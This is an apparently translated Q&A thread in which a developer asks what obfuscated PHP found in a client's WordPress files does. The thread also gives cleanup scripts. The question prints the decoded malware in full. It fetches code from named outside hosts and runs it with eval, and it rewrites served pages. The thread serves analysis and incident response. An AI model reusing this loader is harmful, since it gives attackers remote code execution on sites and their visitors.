2012-02-23 3 views
5

Ho trovato questo codice nella base 64 su tutti i file php di uno dei siti del mio cliente (wordpress) e sto cercando di capire cosa fa.Che cosa fa esattamente questo codice di exploit PHP (trovato sulla mia app)?

Sto anche cercando di capire se si trattava di un exploit dell'applicazione o di un accesso FTP diretto che ha oltrepassato questo codice.

Tutto inizia con setup_globals_777() e ob_start('mrobh') impostando la funzione di richiamata alla funzione mrobh($content).

Poi c'è una chiamata a gzdecodeit ($decode) dove inizia la seccatura.

Sembra che ottenga il contenuto della pagina e lo cambi. Ora sto cercando di rilevare le modifiche specifiche e comprendere tutte le funzioni, incluso il secondo gzdecodeit().

Qualcuno può far luce su di esso?

Il chiama

setup_globals_777(); 
ob_start('mrobh'); 
// Here the application code and html output starts out 

Il callback:

function mrobh ($content) 
{ 
    @Header('Content-Encoding: none'); 
    $decoded_content = gzdecodeit($content); 
    if (preg_match('/\<\/body/si', $decoded_content)) { 
     return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1', 
          $decoded_content); 
    } else { 
     return $decoded_content . gml_777(); 
    } 
} 

La funzione di impostazione (comprensibile)

function setup_globals_777() 
{ 
    $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/"; 
    $mz = "/tmp/"; 
    if (! is_dir($rz)) { 
     @mkdir($rz); 
     if (is_dir($rz)) { 
      $mz = $rz; 
     } else { 
      $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/"; 
      if (! is_dir($rz)) { 
       @mkdir($rz); 
       if (is_dir($rz)) { 
        $mz = $rz; 
       } 
      } else { 
       $mz = $rz; 
      } 
     } 
    } else { 
     $mz = $rz; 
    } 
    $bot = 0; 
    $ua = $_SERVER['HTTP_USER_AGENT']; 
    if (stristr($ua, "msnbot") || stristr($ua, "Yahoo")) 
     $bot = 1; 
    if (stristr($ua, "bingbot") || stristr($ua, "google")) 
     $bot = 1; 
    $msie = 0; 
    if (is_msie_777($ua)) 
     $msie = 1; 
    $mac = 0; 
    if (is_mac_777($ua)) 
     $mac = 1; 
    if (($msie == 0) && ($mac == 0)) 
     $bot = 1; 
    global $_SERVER; 
    $_SERVER['s_p1'] = $mz; 
    $_SERVER['s_b1'] = $bot; 
    $_SERVER['s_t1'] = 1200; 
    $_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/"; 
    $d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . 
    urlencode($_SERVER["PHP_SELF"]) . "&a=" . 
    urlencode($_SERVER["HTTP_USER_AGENT"]); 
    $_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d; 
    $_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d; 
    $_SERVER['s_script'] = "mm.php?d=1"; 
} 

La prima funzione chiamata dopo l'esecuzione callback:

Ecco dove avviene la magia. Non posso vedere le richieste per le altre funzioni disponibili e capire cosa questa funzione è in realtà decodifica, poiché la $decode var è l'uscita applicazione afferrato per le ob_start()

function gzdecodeit ($decode) 
{ 
    $t = @ord(@substr($decode, 3, 1)); 
    $start = 10; 
    $v = 0; 
    if ($t & 4) { 
     $str = @unpack('v', substr($decode, 10, 2)); 
     $str = $str[1]; 
     $start += 2 + $str; 
    } 
    if ($t & 8) { 
     $start = @strpos($decode, chr(0), $start) + 1; 
    } 
    if ($t & 16) { 
     $start = @strpos($decode, chr(0), $start) + 1; 
    } 
    if ($t & 2) { 
     $start += 2; 
    } 
    $ret = @gzinflate(@substr($decode, $start)); 
    if ($ret === FALSE) { 
     $ret = $decode; 
    } 
    return $ret; 
} 

Tutte le funzioni disponibili (dopo un base64_decode()):

<?php 
if (function_exists('ob_start') && ! isset($_SERVER['mr_no'])) { 
    $_SERVER['mr_no'] = 1; 
    if (! function_exists('mrobh')) { 
     function get_tds_777 ($url) 
     { 
      $content = ""; 
      $content = @trycurl_777($url); 
      if ($content !== false) 
       return $content; 
      $content = @tryfile_777($url); 
      if ($content !== false) 
       return $content; 
      $content = @tryfopen_777($url); 
      if ($content !== false) 
       return $content; 
      $content = @tryfsockopen_777($url); 
      if ($content !== false) 
       return $content; 
      $content = @trysocket_777($url); 
      if ($content !== false) 
       return $content; 
      return ''; 
     } 
     function trycurl_777 ($url) 
     { 
      if (function_exists('curl_init') === false) 
       return false; 
      $ch = curl_init(); 
      curl_setopt($ch, CURLOPT_URL, $url); 
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
      curl_setopt($ch, CURLOPT_TIMEOUT, 5); 
      curl_setopt($ch, CURLOPT_HEADER, 0); 
      $result = curl_exec($ch); 
      curl_close($ch); 
      if ($result == "") 
       return false; 
      return $result; 
     } 
     function tryfile_777 ($url) 
     { 
      if (function_exists('file') === false) 
       return false; 
      $inc = @file($url); 
      $buf = @implode('', $inc); 
      if ($buf == "") 
       return false; 
      return $buf; 
     } 
     function tryfopen_777 ($url) 
     { 
      if (function_exists('fopen') === false) 
       return false; 
      $buf = ''; 
      $f = @fopen($url, 'r'); 
      if ($f) { 
       while (! feof($f)) { 
        $buf .= fread($f, 10000); 
       } 
       fclose($f); 
      } else 
       return false; 
      if ($buf == "") 
       return false; 
      return $buf; 
     } 
     function tryfsockopen_777 ($url) 
     { 
      if (function_exists('fsockopen') === false) 
       return false; 
      $p = @parse_url($url); 
      $host = $p['host']; 
      $uri = $p['path'] . '?' . $p['query']; 
      $f = @fsockopen($host, 80, $errno, $errstr, 30); 
      if (! $f) 
       return false; 
      $request = "GET $uri HTTP/1.0\n"; 
      $request .= "Host: $host\n\n"; 
      fwrite($f, $request); 
      $buf = ''; 
      while (! feof($f)) { 
       $buf .= fread($f, 10000); 
      } 
      fclose($f); 
      if ($buf == "") 
       return false; 
      list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), 
      $buf); 
      return $buf; 
     } 
     function trysocket_777 ($url) 
     { 
      if (function_exists('socket_create') === false) 
       return false; 
      $p = @parse_url($url); 
      $host = $p['host']; 
      $uri = $p['path'] . '?' . $p['query']; 
      $ip1 = @gethostbyname($host); 
      $ip2 = @long2ip(@ip2long($ip1)); 
      if ($ip1 != $ip2) 
       return false; 
      $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); 
      if (! @socket_connect($sock, $ip1, 80)) { 
       @socket_close($sock); 
       return false; 
      } 
      $request = "GET $uri HTTP/1.0\n"; 
      $request .= "Host: $host\n\n"; 
      socket_write($sock, $request); 
      $buf = ''; 
      while ($t = socket_read($sock, 10000)) { 
       $buf .= $t; 
      } 
      @socket_close($sock); 
      if ($buf == "") 
       return false; 
      list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), 
      $buf); 
      return $buf; 
     } 
     function update_tds_file_777 ($tdsfile) 
     { 
      $actual1 = $_SERVER['s_a1']; 
      $actual2 = $_SERVER['s_a2']; 
      $val = get_tds_777($actual1); 
      if ($val == "") 
       $val = get_tds_777($actual2); 
      $f = @fopen($tdsfile, "w"); 
      if ($f) { 
       @fwrite($f, $val); 
       @fclose($f); 
      } 
      if (strstr($val, "|||CODE|||")) { 
       list ($val, $code) = explode("|||CODE|||", $val); 
       eval(base64_decode($code)); 
      } 
      return $val; 
     } 
     function get_actual_tds_777() 
     { 
      $defaultdomain = $_SERVER['s_d1']; 
      $dir = $_SERVER['s_p1']; 
      $tdsfile = $dir . "log1.txt"; 
      if (@file_exists($tdsfile)) { 
       $mtime = @filemtime($tdsfile); 
       $ctime = time() - $mtime; 
       if ($ctime > $_SERVER['s_t1']) { 
        $content = update_tds_file_777($tdsfile); 
       } else { 
        $content = @file_get_contents($tdsfile); 
       } 
      } else { 
       $content = update_tds_file_777($tdsfile); 
      } 
      $tds = @explode("\n", $content); 
      $c = @count($tds) + 0; 
      $url = $defaultdomain; 
      if ($c > 1) { 
       $url = trim($tds[mt_rand(0, $c - 2)]); 
      } 
      return $url; 
     } 
     function is_mac_777 ($ua) 
     { 
      $mac = 0; 
      if (stristr($ua, "mac") || stristr($ua, "safari")) 
       if ((! stristr($ua, "windows")) && (! stristr($ua, "iphone"))) 
        $mac = 1; 
      return $mac; 
     } 
     function is_msie_777 ($ua) 
     { 
      $msie = 0; 
      if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || 
      stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9")) 
       $msie = 1; 
      return $msie; 
     } 
     function setup_globals_777() 
     { 
      $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/"; 
      $mz = "/tmp/"; 
      if (! is_dir($rz)) { 
       @mkdir($rz); 
       if (is_dir($rz)) { 
        $mz = $rz; 
       } else { 
        $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/"; 
        if (! is_dir($rz)) { 
         @mkdir($rz); 
         if (is_dir($rz)) { 
          $mz = $rz; 
         } 
        } else { 
         $mz = $rz; 
        } 
       } 
      } else { 
       $mz = $rz; 
      } 
      $bot = 0; 
      $ua = $_SERVER['HTTP_USER_AGENT']; 
      if (stristr($ua, "msnbot") || stristr($ua, "Yahoo")) 
       $bot = 1; 
      if (stristr($ua, "bingbot") || stristr($ua, "google")) 
       $bot = 1; 
      $msie = 0; 
      if (is_msie_777($ua)) 
       $msie = 1; 
      $mac = 0; 
      if (is_mac_777($ua)) 
       $mac = 1; 
      if (($msie == 0) && ($mac == 0)) 
       $bot = 1; 
      global $_SERVER; 
      $_SERVER['s_p1'] = $mz; 
      $_SERVER['s_b1'] = $bot; 
      $_SERVER['s_t1'] = 1200; 
      $_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/"; 
      $d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . 
      urlencode($_SERVER["PHP_SELF"]) . "&a=" . 
      urlencode($_SERVER["HTTP_USER_AGENT"]); 
      $_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d; 
      $_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d; 
      $_SERVER['s_script'] = "mm.php?d=1"; 
     } 


     if (! function_exists('gml_777')) { 
      function gml_777() 
      { 
       $r_string_777 = ''; 
       if ($_SERVER['s_b1'] == 0) 
        $r_string_777 = ''; 
       return $r_string_777; 
      } 
     } 
     if (! function_exists('gzdecodeit')) { 
      function gzdecodeit ($decode) 
      { 
       $t = @ord(@substr($decode, 3, 1)); 
       $start = 10; 
       $v = 0; 
       if ($t & 4) { 
        $str = @unpack('v', substr($decode, 10, 2)); 
        $str = $str[1]; 
        $start += 2 + $str; 
       } 
       if ($t & 8) { 
        $start = @strpos($decode, chr(0), $start) + 1; 
       } 
       if ($t & 16) { 
        $start = @strpos($decode, chr(0), $start) + 1; 
       } 
       if ($t & 2) { 
        $start += 2; 
       } 
       $ret = @gzinflate(@substr($decode, $start)); 
       if ($ret === FALSE) { 
        $ret = $decode; 
       } 
       return $ret; 
      } 
     } 
     function mrobh ($content) 
     { 
      @Header('Content-Encoding: none'); 
      $decoded_content = gzdecodeit($content); 
      if (preg_match('/\<\/body/si', $decoded_content)) { 
       return preg_replace('/(\<\/body[^\>]*\>)/si', 
       gml_777() . "\n" . '$1', $decoded_content); 
      } else { 
       return $decoded_content . gml_777(); 
      } 
     } 

    } 
} 
+3

Mi preoccuperei di risolvere la sicurezza, invece di capire che cosa fa questo codice – dynamic

+0

@ yes123 Sì, ma io chiedo del codice Mi piacerebbe capirlo. Sono un programmatore PHP e non ho visto prima quelle combinazioni di istruzioni. –

+0

Non sono sicuro se sia la stessa cosa o no, ma potresti voler dare un'occhiata: http://www.tumblr.com/tagged/hack?before=1329947869 –

risposta

7

sembra che crea una nascosta log cartella:

$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/"; 
$mz = "/tmp/"; 
if (! is_dir($rz)) { 
    @mkdir($rz); 
    if (is_dir($rz)) { 
     $mz = $rz; 
    } else { 
     $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/"; 
     if (! is_dir($rz)) { 
      @mkdir($rz); 
      if (is_dir($rz)) { 
       $mz = $rz; 
      } 
     } else { 
      $mz = $rz; 
     } 
    } 
} else { 
    $mz = $rz; 
} 

Poi sembra scaricare il codice da http://www.lolypopholypop.com/g_load.php e http://sweepstakesandcontestsdo.com/, base64 decodifica, quindi lo esegue:

function update_tds_file_777 ($tdsfile) 
    { 
     $actual1 = $_SERVER['s_a1']; 
     $actual2 = $_SERVER['s_a2']; 
     $val = get_tds_777($actual1); 
     if ($val == "") 
      $val = get_tds_777($actual2); 
     $f = @fopen($tdsfile, "w"); 
     if ($f) { 
      @fwrite($f, $val); 
      @fclose($f); 
     } 
     if (strstr($val, "|||CODE|||")) { 
      list ($val, $code) = explode("|||CODE|||", $val); 
      eval(base64_decode($code)); 
     } 
     return $val; 
    } 

Quindi, senza dover accedi nuovamente al tuo server, possono eseguire codice diverso.

+0

Puoi indicare dove si verifica la prima chiamata update_tds_file_777()? –

+0

Non sono sicuro, è tutto il codice pubblicato sopra? Perché neanche get_actual_tds_777() viene chiamato, che posso vedere. –

+0

Sì, lo è. Questa è la ragione per cui ho pensato che gzdecodeit() stava facendo qualcosa. –

5

Dan Hill scritto un article su come ottenere basi64 compromesse per le installazioni di WordPress.

citare i risultati delle scoperte di Dan:

L'hack ho trovato essenzialmente creato un nuovo file php nella cartella uploads di Wordpress che ha permesso il controllo file system remoto, e poi modificato le pagine che sono serviti (tutti. file php) per includere un tag script che reindirizza i visitatori a siti non affidabili.

per sbarazzarsi del problema, Dan provato la seguente:


Ho fatto questo in tre fasi.In primo luogo, trovare nessuna directory scrivibili da tutti (tsk tsk):

find . -type d -perm -o=w 

e renderli non mondo scrivibile:

find . -type d -perm -o=w -print -exec chmod 770 {} \; 

Eliminare tutti i nuovi file di questi ragazzi creati:

find . -wholename '*wp-content/uploads/*.php' -exec rm -rf {} \; 

(In wordpress, la cartella uploads non dovrebbe contenere alcun PHP)

Fase due, ripara tutto il tuo infecte d file PHP. Ho giocato con sed e xargs per questo, ma alla fine ho rinunciato e ho scritto un rapido script rubino per fare il lavoro. Eseguire questo Eseguire questo script ruby ​​dalla directory root:

#!/usr/bin/env ruby 
Dir.glob('**/*.php').each do|f| 
    puts f 
    begin 
     contents = File.read(f) 
     contents = contents.gsub(/\<\?php \/\*\*\/ eval\(.*\)\);\?\>/, "") 

     File.open(f, 'w') {|f| f.write(contents) } 
    rescue 
     puts "FILE ERROR" 
    end 
end 

Il passo finale è quello di aggiornare tutti i vostri vecchi, dimenticati Wordpress installa per prevenire eventuali altre vulnerabilità rivelando. Il passaggio bonus per fortuna è quello di ripristinare le password, in particolare tutte le password MySQL memorizzate in formato testo nel tuo file wp-config.php.


Spero che le scoperte di Dan aiutino!

1

Per coloro alla ricerca di una soluzione non-Ruby, ecco una versione di PHP di codice di Dan Hill:

<?php 
function fileExtension($filename) { 
    $pathInfo = pathinfo($filename); 
    return strtolower($pathInfo['extension']); 
} 

function fixFiles($path) { 
    $path = str_replace('././', './', $path); 
    $d = @opendir($path); 

    if ($d) { 
     while (($entry = readdir($d)) !== false) { 
      $baseEntry = $entry; 
      $entry = str_replace('././', './', $path . '/' . $entry); 

      if ($baseEntry != '.' && $baseEntry != '..') { 
       if (is_file($entry)) { 
        $fe = fileExtension($entry); 

        if ($fe == 'php') { 
         $contents = file_get_contents($entry); 
         $contents = preg_replace("/\<\?php \/\*\*\/ eval\(.*\)\);\?\>/", '', $contents); 

         $f = fopen($entry, 'w'); 
         fputs($f, $contents); 
         fclose($f); 

         echo $entry . '<br>'; 
         flush(); 
        } 
       } 
       else if (is_dir($entry)) { 
        fixFiles($path . '/' . basename($entry)); 
       } 
      } 
     } 

     closedir($d); 
    } 
} 

fixFiles('.'); 
?>